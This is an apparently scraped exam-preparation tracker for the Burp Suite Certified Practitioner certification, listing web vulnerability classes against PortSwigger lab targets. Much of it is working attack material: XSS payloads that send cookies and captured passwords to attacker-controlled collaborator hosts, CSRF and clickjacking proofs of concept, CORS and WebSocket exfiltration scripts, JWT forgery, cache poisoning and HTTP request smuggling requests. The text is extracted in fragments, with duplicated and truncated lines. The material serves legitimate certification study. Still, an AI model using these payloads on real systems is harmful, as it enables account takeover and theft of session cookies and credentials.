Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

BSCP Tracker

Download as xlsx, pdf, or txt
Download as xlsx, pdf, or txt
You are on page 1of 207

Version Author Date

3 A3h1nt 11/04/24

2 A3h1nt 16/01/24

1 A3h1nt 19/11/23

Stage - 1 Stage - 2 Stage - 3


Authentication Authentication
OAuth OAuth
Access Control Access Control
Directory Traversal
SSRF
File Upload Vulnerabilities
OS Command Injection
XXE Injection
XSS XSS
CSRF CSRF
CORS CORS
Clickjacking Clickjacking
Web Sockets Web Sockets
Insecure Deserialisation
SSTI
SSRF
Web Cache Poisioning Web Cache Poisioning
Host Header Attacks Host Header Attacks
JWT
HTTP Request Smuggling HTTP Request Smuggling
SQL Injection SQL Injection
Commits
Completed All

Updated Checklist with


unfinished topics Ignore all the random comments and side notes, make a copy
Initial Draft

TIPS
1. Make sure all your extensions are running before you start the exam
2. If
3. Run param
there's minerelse,
nothing > guess headers
literally nothing else to find, try Host header injection
admin panel : 192.168.0.x or localhost:TBF
4. Dont be in a hurry, read the error output completely.
5. In insecure deserialisation, use cyberchef, always use wget/curl to see if it h
and the right payload might give `java.io.StreamCorruptedException`
6. There is only one active user per application
7. If SSRF try localhost:6566 ( try first in host or referer header and then move
8.
9. You
"SSRF can: stockApi=http://127.1/%25%36%31dmin
use chatGPT to understand the code in case : Hereof we
DOM XSS.
have double en
to bypass validation. "
10. XSS try encoding into HTML, hex or HTMLHex to bypass FW
Important Links
1. Keep it handy 1 https://github.com/botesjuan/Burp-Suite-Certified-Practition
2.Keep it handy 2 https://github.com/DingyShark/BurpSuiteCertifiedPractition
3. CyberChef https://gchq.github.io/CyberChef/#recipe=URL_Encode(true)&in
4. Ruby Compiler For Deserialisation Attack https://onecompiler.com/ruby/428
5. Hex To Decimal & Vice Versa : HTTP Request Smuggling https://coolconve
6. XSS Cheatsheet https://portswigger.net/web-security/cross-site-scripting/ch
7. SQL Injection Cheatsheet https://portswigger.net/web-security/sql-injection/
8. Payload All The Thingshttps://github.com/swisskyrepo/PayloadsAllTheThin
9. Hacktricks XYZhttps://book.hacktricks.xyz/pentesting-web/ssti-server-side-t
notes, make a copy, make it your own.

S
you start the exam
d, try Host header injection SSRF to access

s use wget/curl to see if it hits the collaborator,


ruptedException`

erer header and then move on )


case of we
: Here DOM XSS.
have double encoded character `a`

to bypass FW
t Links
p-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#reflected-string-xss
urpSuiteCertifiedPractitioner#insecure-deserialization
pe=URL_Encode(true)&input=KCk
onecompiler.com/ruby/428epcnus
muggling https://coolconversion.com/math/binary-octal-hexa-decimal/How-to-Convert_hex__5C_in_decimal_%3F
urity/cross-site-scripting/cheat-sheet
web-security/sql-injection/cheat-sheet
yrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
ting-web/ssti-server-side-template-injection
Vulnerability Test Case
Authentication Username Enumeration Different Status Codes
Login Page
Forgot Password Page
Change Password Page Username Enumeration Different Error
2FA Page / Security Code Messages
Email for password reset ?
X-Forwarded-Host

Username Enumeration Different Time Response


Bypass IP-Block

Bypass IP-Block via successful login

Username Enumeration via Account Lockout


Multiple Credentials Per Request
Multi Factor Authentication
URL Rewrite to "Logged In Pages"

Bruteforce the MFA Code


Remember Me / Keep Me Logged In

Bruteforce Stay-Logge In Cookie

Offline Cracking

Forgot Password

Presence of token is not validated


Password Reset poisioning throguh X-
Forwarded-Host

Changing User Password

Password Bruteforce

OAuth Token not binded with the username


- Login with Social Media
- Redirecting to social media
- Next Post
- /.well-known/oauth-
authorization-server OpenID Dynamic Client Registration ( LOGO URI
- /.well-known/openid- /LOGO URL )
configuration
- If `Attach with social
media`, state parameter not
present might be the answer
STATE Parameter Not Present

Unvalidated `redirect_uri`
Open Redirect with OAuth 2.0

Access Control Unprotected admin functionality

Access Controlled By Reuqest Parameter

Modify Access Control Through Form


Submission in user profile

Bypass Access Control Via Request Headers

Changed Request Method

Case Sensitive URL Bypass


IDOR

Exposed Unpredictable userID / Exposed user


password in response

Multi Step Process

Referer Based Access Control

XSS Basic XSS


- Search Bar
- Comment Section
- DOM Sinks With most tags & attributes blocked
- Cookie with httpOnly not
set

Custom Tags

Event Handlers & Href Blocked

SVG Markup Allowed

Angular Brackets Encoded


Quotes HTML Encoded

With Single Quote getting Backslash escaped


( JS Context )

Breaking Out Of JavaScript String


Jquery Location.hash

DOM XSS using web messages and a


JavaScript URL

HTML Encoded
DOM XSS in document.write sink using source
location.search inside a select element

DOM XSS in AngularJS expression with angle


brackets and double quotes HTML-encoded
Stored XSS into onclick event with angle
brackets and double quotes HTML-encoded and
single quotes and backslash escaped
Reflected XSS into a template literal with angle
brackets, single, double quotes, backslash and
backticks Unicode-escaped

Stealing Cookies

Capturing Passwords
Performing CSRF

CSRF CSRF With No Defence

- Is the CSRF token present


or not ?
- Change Email
- Redirect
Validation Depends Upon Request Method
( `redirectOnConfirmation`
or
`commentConfirmationRedir
ect.js` )
Validation Depends on token being present
Token Not Tied To user's session

CSRF Token Tied to non-session cookie


CSRF Token Duplicate In Cookie

Validation Based On Referer Header


Validation Based on referer Header being present

SameSite Lax bypass via method override


SameSite Strict bypass via client-side redirect

CORS Basic Origin Reflection

- Always manually probe by


changing the origin and see
what is returned in the
reponse, does it contain
`Access-Control-Allow-
Origin` with `Access-
Control-Allow-Credentials`

- /accountDetails end-point When null origin is allowed


in page source

- Check stock opens in


another frame, ProductID or
storeID might be injectible
XSS & CORS

Clickjacking Clickjacking with CSRF Protection

- Change Email

- Chain with XSS in


comment section any
parameter to get cookies

Clickjacking with form field prefilled from URL


parameter
Clicljacking with XSS

Multi Step Clickjacking

Web Sockets XSS in chat application


- Chat Functionality

Croos Site Web Socket Hijacking ( CSWSH )

Bypassing IP Blacklist to get XSS

Web Cache Poisioning

If you got only tracking.js


Web Cache Poisioning Using Unkeyed Header
without X-Cache - no
cache poisoning here,
folks.

- tracking.js
- You see `vary` set to User-
Agent in response header
- Use `Pragma: x-get-cache-
key` in request header to
view the cache key Web Cache Poisioning Using Unkeyed Cookie
- Param Miner > rails param
cloacking scan

Web Cache Poisioning With Multiple Headers


Web Cache Poisioning Using An Unknown
Header

Web cache poisoning via an unkeyed query


string

Parameter Cloacking

Host Header Attacks Host Header Authentication Bypass

- "Invalid Host Header" Web Cache Poisioning


- Password Reset
- On host header you get, CLIENT ERROR Forbidden

Routing Based SSRF

SSRF with Flawed Parsing

Connection State Attack


Basic Password Reset Poisioning

Password Reset Poisioning Via Middleware

Password Reset Poisioning Via Dangling Markup

JWT Flawed Signature Verification

- JWT in use

Accepting Arbitrary Signatures

Brute forcing Secret Keys


Injecting via JWK

Injecting via JKU

Injecting via KID

HTTP Request Smuggling CL TE


- "Path /admin is blocked"
- If the website doesn't give
any error on HTTP/2 ->
HTTP/1.1 or by specifying
both CL & TE header, then
it might be vulnerable

TE CL

Obfuscating TE Header

Accessing /admin Panel : CLTE


Accessing /admin Panel : TECL

Finding Out Secret Header To Access Admin


Panel
Capture Other User's Request

Reflected XSS
Payload

X-Forwarded-For

Important : https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block

base64(username+':'+md5HashOfPassword)

<script>document.location='//YOUR-EXPLOIT-SERVER-
ID.exploit-server.net/'+document.cookie</script>
X-Forwarded-Host: your-exploit-server.com

1. While proxying traffic through Burp, click "My account" and


complete the OAuth login process. Afterwards, you will be
redirected back to the blog website.

2. In Burp, go to "Proxy" > "HTTP history" and study the requests


and responses that make up the OAuth flow. This starts from the
authorization request GET /auth?client_id=[...].

3. Notice that the client application (the blog website) receives


some basic information about the user from the OAuth service. It
then logs the user in by sending a POST request containing this
information to its own /authenticate endpoint, along with the
access token.

4. Send the POST /authenticate request to Burp Repeater. In


Repeater, change the email address to carlos@carlos-
montoya.net and send the request. Observe that you do not
encounter an error.

5. Right-click on the POST request and select "Request in


browser" > "In original session". Copy this URL and visit it in the
browser. You are logged in as Carlos and the lab is solved.
https://oauth-0aaa006a033534708255dbfe0230008b.oauth-server.net/.well-known/openid-configuration1. Register your own cl
Common Bypass :- https://default-host.com&@foo.evil-user.net- https://default-host.com#@bar.evil-user.net
X-Original-URL
X-Rewrite-URL
---------------------------------------------------------------
POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...
<script>alert(1)</script>
<§>
<body%20§§=1>

<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';

<svg><a><animate+attributeName=href+values=javascript:alert(1
) /><text+x=20+y=20>Click me</text></a>

<§>
<svg><animatetransform%20§§=1>

<svg><animatetransform onbegin=alert(1)>

"onmouseover="alert(1)
javascript:alert(1)

</script><script>alert(1)</script>

For example, suppose that the input:

';alert(document.domain)//
gets converted to:

\';alert(document.domain)//
You can now use the alternative payload:

\';alert(document.domain)//
which gets converted to:

\\';alert(document.domain)//

-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
\'-alert(1)//

# Stealing Cookies
';document.location='https://
swshucmo2c95ltmsgk1p9quhd8jz7vvk.oastify.com/
url='+document.domain;//
Payload :#" onload="this.src+='<img src=x onerror=print()>'"#<img src=x onerror=alert()In exploit server : <iframe src="https://Y

# Payload
window.postMessage('javascript:print()//http:','*');
# Deliver To Victim
<iframe src="https://0a8b003c03908a72811893c400e200e7.web-
security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:
','*')">

&apos;-alert(document.domain)-&apos;http://foo?&apos;-alert(1)-&apos;
https://0a5b00e904b44a74807321b100d800cf.web-security-academy.net/product?productId=1&storeId=randstringhttps://0a5b

{{$on.constructor('alert(1)')()}}

http://foo?&apos;-alert(1)-&apos;

${alert(1)}

<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </s


<input name=username id=username>
<input type=password name=password
onchange="if(this.value.length)fetch('https://BURP-
COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\
w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a3d00630488573781441baf0055009b.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="attack@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5e00120350d98a850a3c850078009f.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="a&#64;b&#46;com" />
<input type="hidden" name="csrf"
value="2PtaaMyN31ry7Uk1B43tTdYZKRv34PUM" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="adamn@famn.com" />
<input type="hidden" name="csrf"
value="pPuFWLf1ia0yGVm26GcPU4iCeAZll2gK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/?search=test%0d%0aSet-Cookie:
%20csrfKey=ZKRp4uaowcXjO0XOaDV5xf4nRuYnr2jo%3b
%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1600b604b160ba81e00734003f00f6.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="works@ppporks.com" />
<input type="hidden" name="csrf"
value="FMflDMvWJzqvmBcGnUX2vzkTh0ALPjO9" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b
%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a28005b03c06c1681f5617d00840021.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="random@random.text" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "/","/?
0a28005b03c06c1681f5617d00840021.web-security-
academy.net");
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<form
action="https://0aa9006c033f482b80ee991300b80055.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="done@w.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

<script>
document.location = "https://YOUR-LAB-ID.web-security-
academy.net/my-account/change-email?email=pwned@web-
security-academy.net&_method=POST";
</script>

# Another Method

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5f00600398a7858150e36400310061.web-
security-academy.net/my-account/change-email">
<input type="hidden" name="email"
value="pwned@gmail.com" />
<input type="hidden" name="&#95;method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location="https://
0a98007803a1e8e98133614e004900a8.web-security-
academy.net/post/comment/confirmation?postId=../my-account/
change-email?email=anything%40anything.com%26submit=1"
</script>

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;

req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"


srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;

req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {

location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?
key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-
academy.net/?productId=4<script>var req = new
XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/a
ccountDetails',true); req.withCredentials =
true;req.send();function reqListener() {location='https://YOUR-
EXPLOIT-SERVER-ID.exploit-server.net/log?
key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

<style>
iframe {
position:relative;
width:$width_value; # 700px
height: $height_value; # 700px
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value; #450px
left:$side_value; #100px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account?email=hacker@attacker-website.com"></iframe>
<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>

<img src=x onerror=alert(1);>


<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive
confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode:
'no-cors'})
}
</script>

X-Forwarded-For: 127.0.0.1

<img src=1 oNeRrOr=alert`1`>

# Injected ParameterX-Forwarded-Host : exploit-0a26000404bfd23083d61daa013800cd.exploit-server.net/resources/js/tracking

# Injected Parameter
fehost=string"-alert(1)-"string;

# Injected Headers
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0a53008d04d5803583c7ecf60118001b.exploit-server.net

# Request : Inject the above headers in the


/resources/js/tracking.js request
GET /resources/js/tracking.js

# Exploit Server : /resources/js/tracking.js


# Injected Parameter
X-Host: exploit-0a7e000b04cca5d381d02443014500d7.exploit-
server.net

# Comment Section : vary User-Agent


<img src="https://evil.com">

https://0ad0001603ea443481672ac600a300b1.web-security-
academy.net/?search='/><script>alert('xss')</script>

GET
/?utm_content='/><script>document.location="https://Collaborator
.com?c="+document.cookie</script>

/js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert
(1)

Host: 127.0.0.1
Host: localhost

Host: 0a4000a8038c3cf68177073100360090.h1-web-security-academy.netHost: exploit-0af1008803293c6a81cc060601ca00b

Host: 192.168.0.§0§

GET https://0a29004d03b7096383fa281100820043.web-
security-academy.net/ HTTP/2
Host: ajxsl03bt1t61ckeberqq718pzvqjh76.oastify.com

POST https://0a29004d03b7096383fa281100820043.web-
security-academy.net/admin/delete HTTP/2
Host: 192.168.0.96

csrf=eiJBDA6YwgraLusFdACA9IN7g47M8DPW&username=carlo
s

Connection: keep-alive
wiener@exploit-server.net
carlos@montaya.com

X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:

Host: 0a46001a04a1e3d18009a3c900f400f0.web-security-
academy.net:1234'><a href="//exploit-
0aea00e7041ce3be80a6a22d01cf009c.exploit-server.net/?

{
"sub":"wiener"
}

to

{
"sub":"administrator"
}

# Header
{
"alg":"HS256"
}
# Payload
{
"sub":"wiener"
}
to
# Header
{
"alg":"none"
}
# Payload
{
"sub":"administrator"
}

hashcat -a 0 -m 16500 <jwt> <wordlist>


{
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aF
JiB1RKGMOXNCU8s0EwNVILppgG404arTMDYUM8QjXr8hUFz
pGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHb
HHzYnT_4hqwhUcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWu
e0EanIG8hpNHynJckz0_jbCMdZhYx-
P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm
# Hosted on exploit server
6ASfK2Yz-AfydWnlQ"
{ }
} "keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aF
JiB1RKGMOXNCU8s0EwNVILppgG404arTMDYUM8QjXr8hUFz
pGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHb
HHzYnT_4hqwhUcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWu
e0EanIG8hpNHynJckz0_jbCMdZhYx-
P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm
6ASfK2Yz-AfydWnlQ"
}
{ ]
} "kid": "../../../../../../../dev/null",
"alg": "HS256"
}

POST / HTTP/1.1
Host: 0a8c004d040823fb84151373004d002d.web-security-
academy.net
Cookie: session=q4cyGyOhxOTS7K89pX8ig966gXjOhoUc
Content-Length: 35
Transfer-Encoding: chunked

GET /404 HTTP/1.1


X-Ignore: x
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: 0a6a00a604e332b180f2fd4d0008009d.web-security-
academy.net
Cookie: session=tDbITpbuyl0HLxbmOMJTZ08O9ypmGa4R
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

GET /admin HTTP/1.1


Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Cookie: session=iHXKs5g5Ylxpw2iN5ebaWbSBsHBWs0pO
Content-Length: 4 : increase the content length to see more of
the next request
Content-Type: application/x-www-form-urlencoded

search=test

----------------------------------------------------------------------------------------
---
POST / HTTP/1.1
Host: 0a6f007e03f7433180ebc6ed00f10022.web-security-
academy.net
Cookie: session=uscSQFDcTJxv4WpBGYU0n05f0boHcUqx
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
POST / HTTP/1.1
Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Transfer-Encoding: chunked

POST /post/comment HTTP/1.1


Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Content-Length: 300
Content-Type: application/x-www-form-urlencoded

csrf=SBD1GC6lAH9SERvVB0tx3vpfSn4CJqWS&postId=6&name
=test&email=a%40b.com&website=https%3A%2F
%2Fwww.test.com&comment=a

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

GET /post?postId=5 HTTP/1.1


User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1
Notes

This is note for this particular test

Wordlist are present in kali

- We noticed the website blocks us after 3 failed


login attempt, but the counter resets once we
login with the right credentials before the limit is
reached i.e 2
- Hence we created two wordlist where we login,
bruteforce 3 passwords, and again login using
pitchfork.
- Make sure the concurrent request is set to 1,
this will make sure we are not blocked.

After entering password the user effectively in a


logged in state
Change the username to victim to generate MFA
code, then bruteforce it

1. Notice which cookie is set, when you click on


`keep me logged in` functionality.

2. Decode the cookie and study how it is


generated & bruteforce it.

1. Steal the victim's cookie through xss, usually


through comment functionality.
2. Once you have the cookie, take it offline and
crack it using JTR or hashcat

1. Request password reset from your account,


once you get the link, delete the token, change
the username to victim's and reset the password
1. Request password reset, check if it supports
`X-Forwarded-Host`, if it does, add your exploit
server URL to it and change the username to
victim's.

2. Once you send it, password reset token will be


generated for the victim and you'll get the token in
your exploit server logs.

3. Replace this token with yours, change the


username and reset password

1. Send the password change request to intruder

2. Change the username to victim's

3. Set payload position at `current_password`


field & bruteforce the password

1. In implicit grant type, once your user gets the


token, check if you can use it to make request for
some other user, by changing the username
If OPEN ID configuration is found & OAuth login is present on the OAUTH host, this might be the answer.https://portswigger.ne
- Login with your account

- Select attach to social media

- Once you login with your social media account,


a request is sent with redirect-uri set to
`oauth_linking` to get the authorization code.

- Once the client application gets the code, it will


then redirect to `oauth_linking` with the
authorization code to link the social media
account with the user account. oauth_linking?
code=<code> ( do not forget to DROP this
request, as we want to make sure the token
remains unused )

- Since there is no state parameter, we can use


this token as a CSRF injection vector, by adding it
to a iframe and sending it to the victim/admin
( comments ) or via EXPLOIT SERVER

<iframe src="https://lab-id/oauth-linking?
code=<code>"></iframe>

- Once the victim/admin opens the comment, the


iframe will be loaded and the token issued for our
social media account will be attached to their
account, meaning next time we do login with
social media, we'll get into their account.

- Craft CSRF like payload for the /auth request,


change the redirect_uri to your attacker server's
IP, where the CSRF payload is present and send
it to victim

- Once the victim clicks on the link, we'll get the


access token, now when the website makes
request to `/callback?code=<code> to
authenticate you, simply replace this code with
the received one
1. We try to change the redirectURI and we get
URI mismatch error.
2. We have a next post functionality which is
vulnerable to open redirect
`https://0a5d002e0375205a80980d0b00a40069.
web-security-academy.net/post/next?
path=https://exploit-
0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit`
3. We'll use this in our iframe, deliver it, get the
token & login into administrator's account
4. Intercept the reqeust to `/me` and change the
token in Authorization bearer and get the API key

1. Look for different places ( robots.txt or do client


side code review to find any important end-point )

1. Check if any request parameter is used for access control, could be something in cookie or even another parameter in the re

1. Check what all update functionalities are


present in the profile section, for example : if
there's an email update functionality, update your
email & notice the response.

- Do you see any access control related


parameters ?
- Can you submit the request with changed
roleid ?

roleid:"2" -> roleid:"1"

1. Find out the end-point you want to access & try


to access it.
2. If you fail try different headers to overwrite the
URL & bypass it

1. Change request HTTP request method and


access the page
1. If the validation mechanism is case-sensitive,
the website will treate /admin/deleteuser &
ADMIN/DELETEUSER as different end-points
1. Try to look for some parameter that might be
used to identify the user. for example : userID=4,
try to change it to 3,2, or 1.
1. The victim's userID might be exposed in some
other places on the website, like comments, blog
author etc.
2. Study the response & check if it returns the
password or any other crucial element

1. The browser might not validate all the steps in


multi step process, it might assume that the user
will only reach the final page only if it has gone
through the first two.

# Example :
Normal Flow : home -> page1 -> page2 -> page3
Vuln Flow : home -> page1 -> page3

# Example
Req 1 : GET /admin/update?
user=carlos&action=upgrade
Req 2 : GET /admin/update?
user=carlos&confirmed=yes&action=upgrade

As an attacker we can directly make request to


req2 without being an admin

Referer header will be checked for access


control, for example : a request made to
`/admin/deleteUser` will expect the referer header
to have `/admin` in it, to make sure it is generated
from admin panel only.
1. Identify which tags are allowed <§>2. Identify what attributes/events are allowed <body%20§§=1>3. You can also try to use p

1. If Payloads like <svg>, <animatetransform>,


<title>, and <image> are allowed

2. Identify what events are allowed


<svg><animatetransform%20§§=1>

Put this into a href ( eg : website URL )


Put this into a href
<script>
var stores =
["London","Paris","Milan"];
var store = (new
URLSearchParams(window.location.search)).get('
storeId');
document.write('<select
name="storeId">');
if(store) {
document.write('<option
selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i+
+) {
if(stores[i] === store) {
continue;
}

document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>

1. Find vulnerable functionality


2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available

1. Find vulnerable functionality


2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available
1. Find vulnerable functionality
2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available

( the payload changes email )

1. Capture the target request in burp


2. Use burp engagement tools to make PoC or
you can also write your own.

Change the request method from GET to POST

No token, no problem
Take your CSRF token, put it in

If the attacker can find a way to set cookies, then


he can set his own cookies and CSRF token to
the payload and send it to the victim.

# For example : When the search terms gets


reflected in cookies
/?search=test%0d%0aSet-Cookie:
%20csrfKey=YOUR-KEY%3b
%20SameSite=None

/?search=test
Set-Cookie: csrfKey=YOUR-KEY;
SameSite=None

# Another way, not sure if it works


<script>document.cookie="csrfKey=value"</
script>
1. Same as before, but we'll inject CSRF cookie
with our custom fake CSRF token

/?search=test%0d%0aSet-Cookie:%20csrf=fake
%3b%20SameSite=None

Add the following header to `head` section


Referrer-Policy: unsafe-url

Also add the LAB ID to pushState as the third


parameter
Add

<meta name="referrer" content="no-referrer">

1. We notice that cookies are not included in our


request, this is due to sameSite attribute set to
`lax` by the browser
2. Then we try to use `GET` method, but the
browser doesn't allow us to use that, hence we try
the method override method.
3. We basically send GET request with params as
`email` & `_method` set to POST
1. Here we find the same site cookie attribute set
to cookie, meaning we need some vuln on the
